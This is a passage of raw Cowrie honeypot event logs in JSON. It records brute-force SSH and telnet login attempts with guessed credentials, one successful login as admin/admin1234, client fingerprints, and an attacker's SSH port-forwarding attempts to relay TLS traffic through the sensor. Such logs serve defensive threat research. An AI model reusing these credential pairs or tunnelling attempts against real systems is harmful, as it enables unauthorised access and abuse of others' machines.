FpGUsBMM4YP%2BKBmoPRvogFiHCD7UfqDe%2FCFpSCNy5%2FmwGfs6W1o%2BzPoidOpoAer1%2B%2Fi%2BOVIqAPP2Es0tt6qYVeTnzZV933Esfstsv%2BtFFWAlsWMrm5W6VG9g44TyqXE2saFE%2FaiwVeMr7C692zsFUwhiIa9DRVMYVoDAufpZHRvhimmw8w6n4ZwGRcZmgcccgOFTKwnTkktVOPe0xer7KHMoL%2F3DRBYeIjToypMdgGSrbznZOEhl1qKP8TahDBdeMdsZt4'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:49:51.414808Z","src_ip":"23.148.145.132","session":"0a967d86b03e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Welcome!23","message":"login attempt [root/Welcome!23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:49:54.930165Z","src_ip":"27.71.230.31","session":"89ba2ed4118f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"23.148.145.132","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:49:55.991704Z","session":"0a967d86b03e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:49:56.020869Z","src_ip":"23.148.145.132","session":"0a967d86b03e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x8f=\\xf9\\xf5l\\xc6\\x8f\\xf6\\xf2\\xbcO\\xab\\x98\\xec\\xb1\\xcd\\x0f\\xf5\\xf8\\\\\\x93\\xcc\\xa1|c\\x85?\\xa6\\xb2\\x97w\\xc4 \\x1a\\x03\\x82#\\x9c\\xde\\xc7\\x10)r\\xdfD0\\xd5\\xe3\\xdfZ\\x880\\x9c\\xf9\\xd5l3K\\xd4\\xe7\\x8a4\\x87\\n \\x00 \\x9a\\x9a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93**\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08::\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)::\\x00\\x01\\x00\\x00\\x1d\\x00 \\x9c#+ \\x13\\xf5\\xbddE|\\xb2\\xbbp\\x93s\\xa7:P\\x04j\\x90\\x17q\\x82>\"c\\xd8\\t/\\x92n\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xda\\xda\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02ZZ\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x8f=\\xf9\\xf5l\\xc6\\x8f\\xf6\\xf2\\xbcO\\xab\\x98\\xec\\xb1\\xcd\\x0f\\xf5\\xf8\\\\\\x93\\xcc\\xa1|c\\x85?\\xa6\\xb2\\x97w\\xc4 \\x1a\\x03\\x82#\\x9c\\xde\\xc7\\x10)r\\xdfD0\\xd5\\xe3\\xdfZ\\x880\\x9c\\xf9\\xd5l3K\\xd4\\xe7\\x8a4\\x87\\n \\x00 \\x9a\\x9a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93**\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08::\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)::\\x00\\x01\\x00\\x00\\x1d\\x00 \\x9c#+ \\x13\\xf5\\xbddE|\\xb2\\xbbp\\x93s\\xa7:P\\x04j\\x90\\x17q\\x82>\"c\\xd8\\t/\\x92n\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xda\\xda\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02ZZ\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:49:56.023745Z","src_ip":"23.148.145.132","session":"0a967d86b03e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"23.148.145.132","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:49:56.041319Z","session":"0a967d86b03e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:49:56.079410Z","src_ip":"23.148.145.132","session":"0a967d86b03e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03*\\x03\\xfeK\\xdf\\x86\\xbf\\xb4\\xed\\x9a\\x1f\\x8a\\xc92C6T\\xfaG@V\\xc0\\xa2\\t\\xd7\\xc0Q\\xe9\\x93%\\xfb\\xae \\xd3\"\\xe6\\x9d\\xe1?\\x11&\\xe8.\\x8c@\\xb8\\xa7\\xeb\\x19\\xdf\\xd9\\x98\\xb7\\xd7\\x1b\\xc3\\xd3\\x11F\\x82\\xd3\\xf3\\xf6\\x82[\\x00\"**\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x9a\\x9a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x1a\\x1a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x1a\\x1a\\x00\\x01\\x00\\x00\\x1d\\x00 \\xc0\\xdb@]\\xf2\\xa8+6\\xe7\\x99!\\xbfF(\\x9b\\xcd\\x19\\x80\\xf2\\xe7\\xf7nt\\x14\\r\\xfd&\\xb2j\\xfe\\x99{\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n::\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x8a\\x8a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03*\\x03\\xfeK\\xdf\\x86\\xbf\\xb4\\xed\\x9a\\x1f\\x8a\\xc92C6T\\xfaG@V\\xc0\\xa2\\t\\xd7\\xc0Q\\xe9\\x93%\\xfb\\xae \\xd3\"\\xe6\\x9d\\xe1?\\x11&\\xe8.\\x8c@\\xb8\\xa7\\xeb\\x19\\xdf\\xd9\\x98\\xb7\\xd7\\x1b\\xc3\\xd3\\x11F\\x82\\xd3\\xf3\\xf6\\x82[\\x00\"**\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x9a\\x9a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x1a\\x1a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x1a\\x1a\\x00\\x01\\x00\\x00\\x1d\\x00 \\xc0\\xdb@]\\xf2\\xa8+6\\xe7\\x99!\\xbfF(\\x9b\\xcd\\x19\\x80\\xf2\\xe7\\xf7nt\\x14\\r\\xfd&\\xb2j\\xfe\\x99{\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n::\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x8a\\x8a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:49:56.082157Z","src_ip":"23.148.145.132","session":"0a967d86b03e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"14.8","message":"Connection lost after 14.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:49:56.530114Z","src_ip":"27.71.230.31","session":"89ba2ed4118f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":39016,"dst_ip":"10.17.0.5","dst_port":22,"session":"e8365c20807f","protocol":"ssh","message":"New connection: 87.251.79.125:39016 (10.17.0.5:22) [session: e8365c20807f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:50:00.598001Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:50:00.602669Z","src_ip":"87.251.79.125","session":"e8365c20807f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:50:00.674588Z","src_ip":"87.251.79.125","session":"e8365c20807f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"210392","message":"login attempt [root/210392] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:50:00.890268Z","src_ip":"87.251.79.125","session":"e8365c20807f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":51920,"dst_ip":"159.203.135.109","dst_port":23,"session":"09e238d7599f","protocol":"telnet","message":"New connection: 172.81.62.90:51920 (159.203.135.109:23) [session: 09e238d7599f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:50:01.867877Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:50:01.964463Z","src_ip":"87.251.79.125","session":"e8365c20807f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"26.1","message":"Connection lost after 26.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:50:04.045424Z","src_ip":"23.148.145.132","session":"0a967d86b03e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.175.50.51","src_port":65180,"dst_ip":"10.17.0.5","dst_port":22,"session":"5b5629539492","protocol":"ssh","message":"New connection: 23.175.50.51:65180 (10.17.0.5:22) [session: 5b5629539492]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:50:05.049669Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:50:05.065487Z","src_ip":"23.175.50.51","session":"5b5629539492","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:50:05.254724Z","src_ip":"23.175.50.51","session":"5b5629539492","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:50:06.647640Z","src_ip":"23.175.50.51","session":"5b5629539492","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.192.203.43","src_port":56100,"dst_ip":"159.203.135.109","dst_port":23,"session":"f895d49fdfc5","protocol":"telnet","message":"New connection: 45.192.203.43:56100 (159.203.135.109:23) [session: f895d49fdfc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:50:06.913575Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.195.91","src_port":52420,"dst_ip":"159.203.135.109","dst_port":22,"session":"7ce6d44a6e67","protocol":"ssh","message":"New connection: 66.132.195.91:52420 (159.203.135.109:22) [session: 7ce6d44a6e67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:50:10.893747Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.195.91","src_port":47828,"dst_ip":"159.203.135.109","dst_port":23,"session":"b888e30d14a2","protocol":"telnet","message":"New connection: 66.132.195.91:47828 (159.203.135.109:23) [session: b888e30d14a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:50:10.927900Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:50:11.885011Z","src_ip":"66.132.195.91","session":"7ce6d44a6e67","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"873a5fb5fedc2d4f8638ebde4abc6cfc","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha256;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-cbc,3des-cbc;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-